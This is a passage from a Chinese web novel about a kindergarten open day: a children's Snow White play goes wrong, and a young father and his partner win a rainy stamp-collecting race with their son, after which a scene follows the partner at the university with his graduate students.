‘王后’像是下定了决心,双手抱住膝盖,小声嘀咕,“要靠自己当公主。” 在啃苹果的‘魔镜’:“?” 舞台上,圆圆爸爸心里素质过硬,面不改色的播报着。 【小矮人们把白雪公主放到了一个充满鲜花的水晶棺材里,准备举行盛大的葬礼。恰好这时,邻国的王子路过了这里】 不说话的‘白雪公主’正安静躺在水晶棺材里,七只小矮人围在她周围。 邻国的王子还没路过,‘恶毒王后’先嗖的一下,趁老师没注意,窜了出来,一脸坚定地喊道:“我才要当公主。决斗吧,白雪公主。” ‘恶毒王后’的身后,慢了她几步的‘魔镜’拿着啃到一半的‘毒苹果’,也窜了出来,尝试拉住‘王后’。 ‘王后’表情坚毅,肉乎乎的胳膊一伸,打算模仿在电视里看到过的,一伸手后面的人就停下来的帅气画面,结果‘魔镜’跑太急了,没停住,被胳膊一挡差点翻过去摔倒。 ‘王后’:“啊!” 台下的观众:“?” 萧望舒从水晶棺材里直接坐起来了。 “舒舒。”白予安作为舞台上唯一一只还在认真表演的小崽崽,他按住萧望舒,“要等王子来了,你才可以起来的。” 爸爸在下面看呢,安安要把话剧演好! 萧望舒挣脱开白予安的手,抱着长裙,从棺材里翻了出来,大声喊道:“我爸爸说了。男人是靠不住的!” 靠不住的—— 的———— 回声。鸦雀无声的礼堂里响起来回声。 在场是有不少人认识萧望舒是谁家孩子的,纷纷扭头去看萧梁,看了完又觉得自己的行为让人家尴尬了,在刻意的把头又扭了回去。 白榆小心地瞥了眼萧梁,“你还好吗?” 还活着吗? 萧梁觉得他现在离死不远了。 舞台上的乱象还在继续,‘邻国的王子’从后台终于出来了。 白予安拉住了萧望舒,耐心地说,”我们在表演,不可以打架的哦。” ‘王子’走到萧望舒跟前。 ‘王子’不愧是王子,他比安安高出大半个头,高傲地扬起头,说道:“让开吧,小矮子,王子来了。” 白予安脑子里的某根弦啪的一下断了,抬头瞄了一眼对方,安安踮起脚,把头顶的帽子给摘下,用力一把按在‘王子’的脑袋上。 白予安:哼。 ‘王子’的脑袋被塞到了帽子里,他费力的扒拉着帽子,因为看不见,走起来东倒西歪的,在台上大喊,“呜呜呜呜,好黑,妈妈,呜呜呜。” 白予安的脸鼓了起来,一字一顿的对对方说,“你才是小矮子呢!!!” 白予安生气的走开了。 旁边的小朋友都往后退了两步。 第66章 因为安安忽然生气, 舞台上反而安静了下来。 ‘王后’扶着‘魔镜’,在担心‘魔镜’是不是撞伤了,‘王子’还在用力脱帽子, ‘白雪公主’和‘六个小矮人’呆呆看着安安走掉的背影,没人打算去帮一把‘王子’。 还好,还好没有真的打起来,陈老师在后台自我安慰的想道。 “幕布的关闭装置,还没修好吗?”梅老师着急地问道 工作人员:“好了!这就好了!” 自动幕布缓缓地拉起, 童话故事正式落幕,圆圆爸爸把稿子合上, 闭着眼睛开始说瞎话。 【故事的最后,白雪公主和王后化解矛盾,在小矮人的帮助下,王子也和大家在一起了,从此大家过上了幸福的生活】 圆圆爸爸没关设备,对着话筒用力鼓起掌来。 “啪啪啪啪——” 台下燕雀无声。 短短十来分钟的表演,给他们带来了冲击, 一时间让他们不知道自己是应该跟着鼓掌,还是该……笑。 白榆先忍不住,笑出了声。 很快其他家长也笑了起来,卖力的鼓起掌。 舞台下爆发出雷鸣般的掌声。 在二楼的校长也忍不住笑出声, 他在斯副校长的凝视下,又努力把唇角拉平,轻咳一声,严肃的说道:“太不像话了,以后幼儿园在表演节目,不能在让话剧这类的节目通过了。” 斯副校长收回视线。 “对了。”校长好奇的问道“我听说, 你前段时间去安安同学家里家访了。你回来就连着几天没回到学校,发生什么吗?” 脑海里猝不及防的闪过某些画面,斯副校长脸色大变,在心中大骂不成体统,厉声说道:“什么都没发生。” 校长在心底蛐蛐,看你脸色可不像什么都没发生,还不告诉我了。 表演全部结束,按照邀请函上流程,他们接下来是去教室参观,白榆和其他家长一起往教室走。小崽崽们先一步被老师带走了。 白榆到教室的时候已经比较晚了,大部分的家长都到了,整个教室……鸡飞狗跳的。 他站在门口,没进去,看见里面乱成一团的情景。 “爸爸!我刚才看见一个哥哥的头发是白色的!”小姑娘一脸兴奋地说道,“好厉害!为什么我的头发不是白色的啊?” 他对面的中年男人维持着诡异的沉默。 为什么。 当然是因为你没有染头发。 但是他没说。 他知道但凡他闺女知道头发是能染得,明天就能染一个七彩的出来给他看。 “萧望舒,你坐这。”萧梁指着一个和他隔了一个板凳的位置,有气无力地说道,“为了我的名声和身体着想。回家前,我们暂时不要有过多的交流。” “啊?”萧望舒坐到了萧良刚指的位置,没听懂爸爸是什么意思。 “你毕竟是我女儿。亲生的。有血缘关系的。亲的亲的。”萧梁咬着牙说完,运了一口气,“你能在外面给我留一点点面子吗。我谢谢你了。” 萧望舒还是没听懂,“?” 面子?什么面子???能吃吗? 萧梁长叹一口气,他坐在窗边,忧郁地四十五度角仰望天空,想萧望舒妈妈了。 文一,我想你了T_T 我一个人带孩子真的好想死T皿T “爸爸,在看什么呢?”萧望舒黑葡萄似的大眼睛眨了眨,奇怪地问道。 “我在看你变成星星的妈妈。”萧梁忧伤地说道。 “哦。”萧望舒明白了,扭头挥挥手对自己好朋友热情地喊道,“安安你快来,来看我妈妈。” 萧梁:“……” 白予安过来,坐在萧望舒和萧梁中间的板凳上。 “你看!”因为有大太阳,萧望舒眯起眼睛找了半天,指着天空说道,“在那里!就在这个位置。我妈妈在上面。” 大白天其实什么都看不到,但白予安还是仰着脑袋去看,“嗯。” 萧梁:“………少看点,太阳光刺眼睛。” 萧梁的忧郁被咽回去了。 小说果然都是骗人,怎么可能有人带着孩子,还能一天天的情绪那么稳定的在那忧郁的T皿T。 因为萧梁拗不过两只崽子,三个人只能大白天在这看星星。 另一边,演王子的小男孩红着眼圈,看到白予安,把头埋在家长怀里,大声哽咽着,“爸,妈妈。” 安安专心的在看星星,压根不理他。 “呜呜呜呜——”他哭起来了。 白予安余光发现白榆了,他从板凳上下来,拿起表演的长长帽子,跑到白榆跟前。 “爸爸。”白予安指着旁边的正在哭的卫双彦,开始告小状,“安安的帽子被他弄坏了。” 卫双彦听见白予安的声音,泪光闪闪的往这边看,发现安安指着他说这种话的时候,不敢置信的睁大了眼睛。 过了几秒,他撕心裂肺的哭起来了。 “哇呜呜呜呜呜!!!” 他哭的声音很大,一下把其他家长和小崽崽的视线也吸引来了。 白榆:“。” 就算我在怎么偏心,也不能像瞎了一样,否认是你自己把帽子扣到别人头上的。 白予安不高兴的摆弄他被撑的裂开的帽子,腮帮子鼓鼓的。 这是安安最喜欢的帽子了。 这个人真讨厌。 白榆正想安慰他家崽两句,一抬头,正对上了卫双彦妈妈的视线。 卫双彦妈妈有点尴尬,冲白榆点了点头后,拍了拍自家孩子的背,“彦彦,别哭了。你在舞台上怎么能这么说话呢。来,给安安道个歉。” 被叫作卫双彦的小男孩吸了吸鼻子,把眼泪憋了回去,用力的瞪着安安。 安安也在伤心自己的帽子,把眼睛睁的滚圆,也瞪回去。 过了两秒,安安又把脚踮起来了。 “真不好意思啊。我家孩子不会说话,我回去会教育他的。”彦彦妈妈歉意的朝白榆笑笑。 正常来讲,按照默认的社交原则,这时候白榆也应该客气的说点,‘没关系’,‘安安也有错,不应该把帽子扣在你家孩子头上’之类,但白榆没说这些。 白榆没觉得安安哪里不对,也没发现对方诚心觉得自己孩子错了。 白榆冷淡地说道:“哦,你知道就好。” 对方家长明显被噎到了,她把视线转向宋时蔚,希望白予安的另一个爸爸能说点别的,但宋时蔚的态度和白榆一致。 周围有其他家长在看着,彦彦妈妈尴尬地笑笑,就拉着彦彦就走了。 白榆在心底不爽的啧了一声。 安安哪里矮了,后面还会长的,而且这么小的孩子,不高不正常吗。 白榆不太高兴的回过头,一低头,就发现一堆亮晶晶的眼睛在看着他。 “哥哥。” “哥哥。” “漂亮哥哥。” “帅哥哥。” 一群小崽崽不知道什么时候围在来白榆旁边,就像是小鸭子叫妈妈一样,一起叫啊叫的。 白榆被叫懵了,刚才不爽的表情都僵在了脸上。 “哥哥,你的头发为什么是白的啊?”演魔镜的小姑娘抱着白榆的腿,好奇的问道。 “哥哥,我们去画画吧。”另一只小崽崽抓着一盒画笔,抱住白榆的另一只腿。 “哥哥,这个送你。” “哥哥给这是零食。” 白榆周围围了一群小崽崽。 “爸爸。”白予安被挤到包围圈最外层,伸长脖子往里面看。 看不到爸爸。 安安努力踮起脚尖,扑腾着往里面看。 还是看不到爸爸。 “大哥哥,我们走吧。”说要画画的小崽崽,小手牵住白榆的手,半拉半牵的把白榆带走了。 白予安滚圆的琥珀色眼睛睁的大大的,眼睁睁的看着自己爸爸被其他的小崽崽围着,一群人浩浩荡荡的走了。 ! 安安才不喜欢画画呢! 幼稚! 白予安像只小河豚一样,脸颊瞬间鼓起来了,跺着脚走掉了。 “这个是填色本。”旁边有小崽崽递了一本画本。 “啊,好。”白榆被围着拿起画笔,茫然的对着画好的画开始填色,等涂了两笔后他才反应过来。 我到底为什么要在这填色啊! “不是的。”还没等白榆罢工,站在白榆旁边的崽,拿了一支蓝色的画笔过来,“这个地方是蓝色的。” “涂紫色好看。”给白榆递紫色画笔的崽,不高兴的扁起嘴。 “蓝色的好看!” “紫色的好看!” 两只崽就这么莫名其妙的在白榆面前吵了起来,眼见马上还有打起来的趋势。 白榆左手拿着紫色的画笔,右手拿着蓝色的画笔,视线慌张的在教室里找老师,找不到老师,他又去找宋时蔚。 宋时蔚在教室的一边,看着白榆被一群小孩围着的场面,眼底溢出些笑意。 “宋先生?”一位西装革履的中年男人走了过来。 宋时蔚收敛了下笑意,打招呼,“陈先生。” “没想到在这见到了。”陈卓见自己没认错,心落了下来。 宋时蔚这样的人,哪怕是见过一眼,都不可能认错。但陈卓一直都没敢确定,主要宋时蔚出现在幼儿园这种地方,就是一件违和的事。 陈卓爽朗的一笑,“您在这里陪孩子” “嗯。”宋时蔚的视线无意间往白榆哪里落了一瞬。 “亲戚的……”陈卓下意识的想继续问,又止住了。 还是不要问了比较好。 陈卓趁着这个机会和宋时蔚拉关系,“说起来,我前两天去国外参加交流会的时候,刚见到宋老先生了,结果一回来,就见到您了呢。” 宋时蔚的身材特别高大,几乎高出陈卓半个头,他听着陈卓说话,视线却穿过陈卓落在别的地方,微勾唇角,露出礼貌却没什么感情的微笑,“那是 挺巧。” “可不是。”陈卓又和宋时蔚聊了几句。 宋时蔚不是个难相处的人,虽然没怎么回应,但也没有让别人冷场的习惯,一如他往日那样,冷淡,礼貌。 陈卓从烟盒里拿了一支烟出来,习惯性的叼在嘴里,马上就意识到了这在哪,赶忙把烟收了回去,用余光谨慎看着宋时蔚。 陈卓算得上是白手起家,对自己看人还是有一定的信心的,也因此他总是觉得这位宋教授身上有种说不清的异样感。 宋时蔚的生活很简单,对钱,对名,对异性,对任何东西,都显出种事不关己的漠然。 要说是那种一心扑在学术上的人,这种情况倒不算罕见,但宋时蔚又不是这样的人。 宋教授完全没有什么醉心学术的意思,哪怕现在回国了,对方每隔一段时间,也会给自己放个大假。 但说他热爱生活吧,好像也不太对。 反正他活了大半辈子,也没见过那个热爱生活的像宋时蔚那个样子的。 大概他这种普通人理解不了吧。 陈卓发现宋时蔚在看某个地方。 他顺着宋时蔚的视线看了过去。 一个长相极其优越的白发的少年单手支着脸,被一群小孩围在中间,不知道在画些什么。 “那是白予安的爸爸。”陈卓感慨道,“不知道为什么,他很受小孩子的喜欢。” 宋时蔚的声音里好像可以听出淡淡的笑意,“大概这么大的孩子心里最透彻,清楚谁好吧。” 陈卓差点以为是自己听错了,“啊?” 不是,宋时蔚在说什么? “各位家长都到了吗?小朋友和家长们可以先回自己的位置上吗?”陈老师脸上带着笑容,从教室前门走了进来。 宋时蔚对陈卓简单告别后,先走了。 小崽崽们也很配合的回到自己的位置上。 见小孩都走了,白榆松了口气,把油画笔塞回盒子里。 宋时蔚在他旁边坐下。幼儿园准备的都是平时小崽崽们坐的小板凳,宋时蔚的腿长,只能勉强曲起,把凳子压的微微晃动。 “涂的还挺好看的。”宋时蔚低头看着被涂的一半蓝色,一半紫色的天空,笑着说道。 “你刚哪去了?”宋时蔚不提就算了,一提白榆没好气地问道。 “在和别的家长聊天。”宋时蔚故意混淆概念的说道。 见宋时蔚在做正事,白榆也没说什么了,“哦。” “爸爸。”白予安跑到白榆旁边坐下,不高兴的捏着白榆的衣摆,小嘴扁扁的, 白榆捏着白予安的脸,疑惑地说道:“怎么忽了?” 安安手上还攥着白榆的衣摆,把小脑袋扭开了。 不给你摸我的脸。 “各位家长和小朋友们都坐好了吗?麻烦先安静一下。”陈老师站在最前面说道。 幼儿园的教室,平时容纳不到二十只小崽崽的时候,绰绰有余,甚至能让他们在里面跑跑跳跳的,可当一群是小崽崽们数量几乎两倍的家长也都进来后,原本宽敞的空间便显得有些局促了。 陈老师在讲台说道:“感谢各位家长和小朋友们来参加今天的开放日活动。接下来是我们特别设计的亲子小任务。” 梅老师给每个小崽崽都发了一本小册子,翻开设计精美的册页,里面有六个被划分好的空白格子。 陈老师手上展开一个同样的小册子,在前面展示道:“手册里一共有六个需要按照顺序盖印章的位置。印章藏在幼儿园的不同位置,每盖完一个章子都会收到对应的小纸条,提示下个盖章的地点。” “特别注意的是,在盖章的时候,要全家人都在哦。” “前三名完成盖章的小朋友——”陈老师专门拉长声音,眼睛弯成月牙状,“会收到特别的小礼物哦。” “哇。”小崽崽们眼睛亮亮的看着陈老师。 “陈老师,是什么礼物啊?”杜子良好奇地举起手问道。 陈老师笑着说道:“只有拿到礼物的人,才知道哦。” 小崽崽们更好奇了。 第一。 和爸爸还有爹地一起拿到的第一。 安安眨了眨眼睛,小脑袋思考着。 他转着小脑袋,在教室里看了一圈。 都是刚才围在爸爸身边的。 哼╭(╯^╰)╮ 安安要和爸爸一起拿到第一。 白予安翻弄着小册子,余光撇见了卫双彦。 卫双彦早就没哭,但眼圈还有点红,看见安安之后,他直了直腰背,趁着没人注意对安安做了个鬼脸,小声说道:“小矮子。” 白予安:“●-●### 陈老师:“第一个盖章地点的纸条已经发下去了。等到铃声响起,活动就正式开始了。感谢各位的参与。” “爸爸。”安安两只小手捏着纸条,扭过脑袋看着白榆,小脸严肃地说道,“我们要加油!” 白榆:“?” 第67章 “叮当——”幼儿园里响起来清脆短暂的铃声。 “第四音乐教室。”白予安看着纸条上的字, 念了出来,小手快速拉住白榆的手,“爸爸, 爹地,我们走!” 安安气势汹汹的往门外跑。 安安在前面扑腾小短腿跑着,白榆在后面被安安拉着快步走着,宋时蔚在他们两旁边慢步走着。 这一刻,腿的长短, 被展现的淋漓尽致。 卫双彦从白予安旁边嗖——的跑掉了,他跑前还专门看了一眼白予安。 白予安:●口● ! 白予安聪明的小脑袋开始转动。 他发现这样下去, 他就拿不了第一了。 安安跑不过别人●-●…… “爸爸。”白予安转过小脑袋,有点不好意思,小脸红红的,抓着白榆的手摇了摇,“可以抱着我跑吗?” “好。”白榆一把把安安举起来,抱在怀里,他看着前面, 争抢的心也上来了,“往这边走吗?” “嗯●v●”白予安在把白榆怀里重重的点了下头。 “我们走!”白榆一只手抱紧白予安,另一只手下意识地去抓宋时蔚的手。 白榆的手指冰凉,抓到宋时蔚手上时, 存在感明显。 宋时蔚回握住白榆。 白榆的手被握的发暖,身上抱着安安,一个箭步在幼儿园的走廊里冲了出去。 一家三口,在走廊上跑掉了。 落在后面的小崽崽,羡慕的看着安安,转过小脑袋, 指着安安说道:“爸爸,我也要跑着走!” “啊?”中年男人上年纪了,他不是很想这样。 小崽崽着急的补充道:“爸爸,不这样我们就赢不了了。” 中年男人很想说,赢不了就赢不了呗。 还有这也不是什么比赛吧。 他老婆在后面推了他一把,“抱一下怎么了。” 中年男人想解释,“可……” 他老婆用眼神示意,让他往另一个方向看。 他们旁边,他平时讨厌的哲哲爸爸也抱起了孩子,往前面跑。 短短一会,周围的家长有样学样,都把他们甩在了后面。 中年男人在短暂的震惊后,跟着抱起了他家崽,豁出老命来向前冲刺。 抱孩子跑的现象就这样一传十,十传百,越传越广。 事情演变到这个地步,已经不单是小崽崽们之间简单纯的活动了,这群在精英家长们,燃起来诡异且幼稚的胜负欲。 “什么,这边吗?”有人抱着自家崽,朝着一个方向冲,“快走。” “什么!不是。”家长猛的转头,换了个方向,“哦好,我们走!” 被抱在怀中的小崽崽:@。@ 他被转的晕乎乎的,眼睛都快睁不开了。 慢点。 幼儿园怎么都没有预料到,这样一个温馨平缓的亲子活动,会变成这样。校园里多了很多吵闹的声音。 盖章点。 “安安、安安是第一个到的吗?”白予安踮起脚,扶着比他还高的桌子,用肉乎乎的手肘支撑住桌子,挂在半空中说道。 “当然啦。”负责盖章的老师夹起嗓子说道,拿起印章用力的往小册子上砸了一下,发出咚的响声,“安安是第一个来的。” “爸爸,我们是第一个。”白予安兴奋地回过头看着白榆说道。 “真厉害。”白榆往回一看,远远的看见几个人影,“我们快走。人要过来了。” “好!”白予安赶紧收起册子要走。 安安很聪明,哪怕是只见过一次的东西也能记得很清楚,清楚学校里的路线,指挥着爸爸和爹地,很快就把其他的家庭甩在后面。 一家三口一直到倒数第二个盖章点,工作人员盖下一枚梅花状的漂亮印章。 这个盖章点在教学楼内,白榆他们走到大楼门口,正准备出去的时候,大晴天的忽然下起了大雨。 路上还有别的家庭,也赶紧带着孩子到附近的建筑内躲雨。 雨下的很大,像细线一样落了下来,雨点又密又急,打在叶子上噼啪响。 “太阳雨。”安安仰头望着天空说道。 白榆没说话,他往前走了两步,把手探到外面,雨水落在他掌心上,激起细微的麻痒,没有很冷。 白榆透过雨水往前面看。 下一个盖章点就在前面的楼里,不到五百米就到了。 白榆喉结滚了滚,撇了眼宋时蔚,还是没说话。 他想现在过去。 但白榆觉得宋时蔚不太可能同意。 这种雨下的大,但一般很快就能停了。 而且没必要为了这点事,就冒着雨跑过去,没看见其他家长都在旁边等着呢吗。别人都能等着,他为什么不能等了。 白榆在心里给自己说道,双手插兜,往后退了两步。 安静了一会,白榆没忍住,视线飘到宋时蔚身上,又没去看他,嘟囔着,“我想现在就过去。” “好。”宋时蔚低沉的声音落在白榆耳边,他把外套脱下来了。 白榆没想到宋时蔚会这么直接的同意,眼睛微微睁大。 第68章 宋时蔚把脱下的外套举起来, 宽大的外套遮住白榆。白榆的视线一下受阻,他抬起头,发现他也紧挨着宋时蔚, 整个人被笼罩在宋时蔚身下。 “那我们准备走。”宋时蔚的声音极为温缓,白榆抱起高兴的安安,听到往日里总是成稳的声音,拖着拍子的喊道。 “一、二、三。走!” 他们一起冒着雨跑了出去。 就差最后一个章子了,围在这周围的家长不少, 看见宋时蔚他们跑了出去,人群中掀起了一阵小小的哗然。 这些声音被甩在身后。 白榆听见后面有些吵, 不知道这些人在说些什么。 可能觉得他们傻? 不过他不在乎。 白榆越跑越快,唇角不自觉的扬了起来。 路上路过一个小水坑,白榆没注意到,啪的直接踩了上去。 水花溅起,白榆往旁边看,发现宋时蔚也踩到了,裤脚被弄湿, 白榆没忍住,直接笑出声。 宋时蔚也没生气,也跟着笑了。 白榆抱着白予安说道:“我们走!” “哦!”白予安举起小手手。 宋时蔚:“好。” 他们踩着水坑,一路往最后一个盖章点跑去。 大雨打在外套上发出吧嗒的响声, 空气里是下雨后才有的泥土味,幼儿园里被建的宛若童话般的景色,在这场阳光下的大雨里,清透发亮。 此刻,他们仿佛真的置身于童话一样。 身后逐渐又开始吵了起来,白榆回头, 发现有其他家长也带着小崽崽,冒着雨跑了出来。 “爸爸,冲啊!” “我的老腰啊。” “雨好大!好漂亮!” “哇哇!” 外套没法完全遮住雨水,不时的还是有雨滴落在白榆身上,白榆心里的某一块地方像是融化了一样,软软的,他说不出来这种感觉,下意识地抬起头去看宋时蔚。 宋时蔚也在看他,细边的眼镜后,是一双弯着的眉眼,盯着他看,神情里带着点放纵的味道。 这一刻,以外套为界限,他和宋时蔚仿佛被划出了一个单独的小世界。 短短几百米的路很快就跑到了。 安安从白榆身上下来,迈着小短腿快速跑到盖章的地方。 “老师,册子!”白予安激动地垫着脚说道。 “是的!”这个活动举行很多次了,但这是第一次,工作的老师被感染,激动地盖下章子,大声说道,“恭喜你,白予安小朋友,是第一个完成哦!” “这是给第一个到的小朋友的特殊小礼物哦。”工作的老师从桌子里,拿出一个小盒子,打开盒子里面是一枚精美的小花胸针,“给安安,快带上吧。” 白予安接过礼物,小脸红红的,兴奋地说道:“谢谢!” 宋时蔚把盖完所有章的手册拿了回来。 发完礼物,老师按下了桌上的一个按钮,绵长的铃声在整个校园里响了起来,代表有家庭已经集齐所有章子了。 几乎在铃声响起的同时,宋时蔚把册子拿给白榆,眉眼微弯,笑着说道:“恭喜你,白榆同学,是第一个完成。” 同样是在雨下跑,宋时蔚的身上却比白榆和安安湿多了,头发都被打湿了,发梢挂着水珠,袖口因为被打湿挽了上去,这样的宋时蔚哪怕说是他的学长,估计都没有人怀疑。 学校的铃声还在继续,但是白榆已经听不见了,他定定的看着宋时蔚。 这么小的事,但宋时蔚的态度好像完成了什么了不起的东西一样。 过了半晌,白榆回过神,他摸着心脏往后转。 心跳好快。 白榆晕乎乎的想,我病了吗? 他用力揉了揉脸,故意装作不太在意的样子,接过小册子,“哦。” 拿到手,白榆又忍不住,反反复复的翻开册子,看了好几次。 宋时蔚看着白榆眼睛亮亮的样子,觉得有些可爱。 雨还没停,但小了很多,旁边有其他家长慢半拍的跑到了。 落后一步的小崽崽围在安安旁边,羡慕的看着他。 “安安是第一个到的,好好。” “第一个到的,还会按铃声诶,都听到了。” “安安爸爸,好厉害。” “安安,我们可以换爸爸吗。” 白予安暂时没去和其他小崽崽炫耀,琥珀色的大眼睛,一直盯着白榆和宋时蔚看,过了好久才转过身,安安看向围着他们的一众小崽崽,双手叉腰,挺了挺胸脯,骄傲地说道:“我两个爸爸,是全世界最好的爸爸!” “哇!”旁边的小崽崽跟着发出声音。 “我们换爸爸吧!”旁边的小崽崽拉着白予安的胳膊,继续问道。 “我也要换。” “我也换,我爸爸就在那。” 第69章 因为安安不同意换爸爸, 这群小崽崽只能垂头丧气的被自己的爸爸提溜回去教育。 白予安底下小脑袋,又摸了摸自己胸口上的徽章,小脑袋转着去看爸爸和爹地。 安安脸上挂着笑, 到每个刚来没看到他第一个到的人面前,都转了一圈。 “安安好厉害。” “可以让我摸一下吗。” “我也想摸。” 白予安:(??v????) 安安转着转着,一扭头发现卫双彦了。 卫双彦明显刚到,低着脑袋,尽量降低自己存在感的把手册递给了老师。 雨早就停了, 因为中间跑错了几个地方,卫双彦和他的爸爸妈妈属于来的比较晚的家庭了。 盖完章子, 卫双彦小心谨慎的朝安安的方向瞄了一眼,却正好和安安对上视线。 安安一双琥珀色的大眼睛,正好奇的往着他。 发现卫双彦在看自己,安安走了过去。 卫双彦往后退了两步。 知道卫双彦才来,安安得意的哼了一身,踮起脚尖,挺了挺胸脯, 头扬的高高的,“安安是第一个到的。” 卫双彦被气到了,但又说不出话来,撇了撇嘴, 装作不在意的样子,扭过头不去看安安。 安安绕到为卫双彦的面前,挺起胸脯,就是要给他看自己的徽章,“这是给安安的礼物哦。” 卫双彦快被气哭了。 旁边卫双彦的爸爸用力皱了下眉,朝这个方向走了过来。 “你干嘛。”白榆眼尖的看到, 也走了过来。 白榆瘦,但有眼睛的人都能看出来,他不好惹,尤其是现在白榆看人的表情还不太好。 卫双彦的爸爸顿住了,勉强说道:“我过来带我家孩子走。” “哦。”白榆拉着安安。 卫双彦爸爸拉着卫双彦走了。 白予安在白榆身后对卫双彦做了个鬼脸。 卫双彦真的要哭了。 本来按照原有的流程,开放日的最后,家长会和孩子一起到幼儿园的餐厅,品尝学校大厨准备的晚饭。 但是因为盖章的活动,很多小崽崽和大人都淋到雨了,为了防止生病,学校提前结束了开放日。 本着不浪费的原则,学校把食堂准备好的食物打包好,以孩子的名义在街上送给了需要的环卫工人和外卖员。今年也是这么多年来,最不一样的一次开放日。 车上,宋时蔚把空调打开了。 白榆坐在副驾驶上,因为是大晴天,再加上学校拿了毛巾出来给他们擦,他和安安已经干的差不多了。 白榆手上拿着一张照片,是他和宋时蔚在雨下跑的时候有人照的。 集章活动的终点处,学校请了摄影师为孩子和父母拍一张站在一起的照片留作纪念。 但他和宋时蔚的这张照片,是摄影师抓拍的。 照片里,大雨下,宋时蔚双手撑着外套在挡雨,视线向下在看着他,他抱着安安,脸上是他当时自己都没发现的笑意。 摄影师后面说,当时这一幕像幸福具象了一样,他没忍住就拍了。 “爸爸。”已经离开学校了,但是安安还是很开心,坐在后座,给白榆和宋时蔚说个不停。 “爸爸,以前也是第一个吗?”白予安好奇的问道。 “嗯?”白榆从照片中回过神,把照片收起来,随意地说道,“我小时候,不怎么参加这种活动。” 白榆说的是大实话。 他和叶林的关系,并不是一开始就好的。叶林刚回来的时候,对他非常冷漠。他也不喜欢叶林。虽然不至于发生什么违法情节,但也一直没怎么说过话。 至于陆莫宁和白漾没人原意来学校做这种事。 就算后面叶林有提起过,来学校给他开家长会之类的,但陆莫宁不会乐意的,他也没让叶林来过。 小时候薛姨每次遇到类似的事,都会照顾他,就算是开运动会,也不忘让薛楠带两份水,给他一份。 但薛姨是薛楠妈妈,还有薛楠,没办法代表他父母参加活动。 白榆记得他小时候,好像还会觉得难受。 但时间一久,其实也没什么感觉了,白榆想道。 他早就不在乎这种事了。 “给爸爸。”安安从后座窜了过来,把幼儿园送的胸针放在掌心给白榆,“送给爸爸。” 白榆把安安掌心里的胸针拿走,“给我吗?” “嗯。”白予安重重的点了下头,“以后安安的奖品都给爸爸。” “安安,坐好。”宋时蔚开着车说道,“把安全带系上。” 白予安乖乖的缩回到了后面,“好哦。” 宋时蔚:“以后我们一起参加。” 宋时蔚看着白榆无所谓的神情,有些心疼,他想还好白榆还不大,还有时间去弥补这些事。 白榆后知后觉的反应过来这两人可能是在关心自己,觉得有点肉麻,安静了一会说道:“……哦。” 第70章 周一, 同样二十岁的薛楠来到了宋时蔚在学校的办公室,他怀着一颗颤抖的心,把他近期的成果递交给宋时蔚。 宋时蔚态度和善, “那边有椅子,你先坐着等我一会。我先粗略看一下你改的内容。” 薛楠不太敢坐。 十来分钟后。 宋时蔚把眼睛摘了下来,捏了捏鼻梁,“如果你对我有什么意见,可以现在说。” 大可不必, 拿这种东西来恶心我,薛楠在心里自动帮宋时蔚把后半句补上了。 “没, 没有。”薛楠吞了吞口水,突然变成结巴了。 宋时蔚觉得自己应该用再低一点的标准去要求学生,他的底线都快低没了,“你这个……” 薛楠赶紧把提前准备好的录音笔打开了。 宋时蔚这个时间段没有安排,他告诉自己多点耐心,拿着薛楠刚给他的东西,开始在这给薛楠讲。 语毕, 宋时蔚觉得自己讲的够仔细了,他喝了口水,用比较和善的语气问道:“你有什么自己的想发?” 其实早就没听懂了,脑子一片空白的薛楠, 马上表现自己,“我会好好努力的。” 宋时蔚挑了下眉,把草稿还给薛楠,“先去找你师兄讨论一下吧,这个他之前做过。你和他有什么问题再来找我,我不在就去找张教授。” 薛楠一颗心落了下来, 马上站起来,准备跑走了,“好,好的。教授,再见。” 但宋时蔚觉得自己还是有必要和他这位学生好好谈谈。 “稍等一下。”宋时蔚眼睑狭长,他不戴眼镜的时候,眉目间带着几分利气,“我希望你这个年龄段,能安排自己的时间。对学业用心一些。不要,不看,不学,不做。” 薛楠:我,我不是,我冤枉啊。 我只是没成果,不是没干啊。 宋时蔚:“我这周这个时间,基本都在学校,有什么问题来找我。” 这句话给薛楠带来致命打击。 “好的,教授。再见,教授。” 薛楠最后从宋时蔚办公室出来的时候,整个人就像霜打了的茄子一样,被这个冰冷的世界击打的缓不回来。 薛楠萎靡不振的走回自己的工位。 “被骂了?” 赵雨轩盘腿坐在椅子上,眼睛一眨不眨的盯着电脑里的数据看,语气平淡的问道。 “没。”薛楠整个人趴在桌子上。 “也是,宋教授从不骂人,也不发火。”赵雨轩见数据没什么问题,松了口气。 薛楠把头埋在胳膊里。 赵雨轩靠在座椅上,深沉的说道:“我懂,你只是开始怀疑自己是个傻子了。” 薛楠彻底自闭了,阴暗的种蘑菇。 “不过这周不是没老板的课吗,他今天怎么在学校啊?”丁治忍了又忍,最后还是没忍住说道,“话说,你们有没有发现最近老板来学校的次数,有些过于频繁了。” 日子简直要过不下去了! 大概能猜到这段时间,导师为什么总是来学校的赵雨轩眼皮一跳,赶紧把话题差开了,“师弟,你去办公室都被说了些什么?” “我听了还不到一半就听不懂了,根本接不上他的思路,还说我……”没心眼的薛楠,开始大声哭诉。 赵雨轩松了口气。 等等! 我为什么要心虚啊!!! 又不是我和小男生,搞地下情!!! * * * 另一边,宋时蔚自认为很温和的和薛楠面谈完后,从办公室走了出来,准备去自己的几个学生那看一眼。 他不是个严肃地导师。 “时蔚。”一位满头白发的老先生叫住了他。 宋时蔚停住脚步,勾唇喊道:“校长。” a大的校长,是一为不失风趣幽默的老先生,他很多年前就已经退居二线,专注于行政方面的工作了。目前正致力于培养下一代的学生和青年教师,和宋时蔚的父亲关系极好,和宋时蔚也算是忘年之交。 宋时蔚回国后,也是在对方的盛情邀请下,来到A大任教。 “你最近来学校的次数越来越多啊。”老校长笑呵呵的,眼角的细微都舒展开了,“终于能感受到培养学生的快乐了吗。” “很可惜,并没有。”宋时蔚弯唇,无奈地说道,“直到现在,我还是认为我并不适合教导学生。站在这里,我总是担心影响他们发展。” “可惜了。”老校长笑着,对宋时蔚的回答毫不意外。 老校长调侃地问道:“那你最近怎么这么热爱学校?我刚路过你学生那,还听到他们在哪抱怨你呢。来太多喽,遭人嫌弃喽。” 宋时蔚几乎能想象出,自己的几个学生会说什么,笑了一声,用开玩笑地语气说道:“要在这看个小孩。” 老校长感到奇怪,有种看到铁树开花的错觉,“嗯?” 就在这个时候,宋时蔚手机响了一下。 他收到了一条消息,某个小孩发给他的。 一份课堂小测全对的草稿纸。 宋时蔚勾起唇,多看了几眼,才发消息过去。 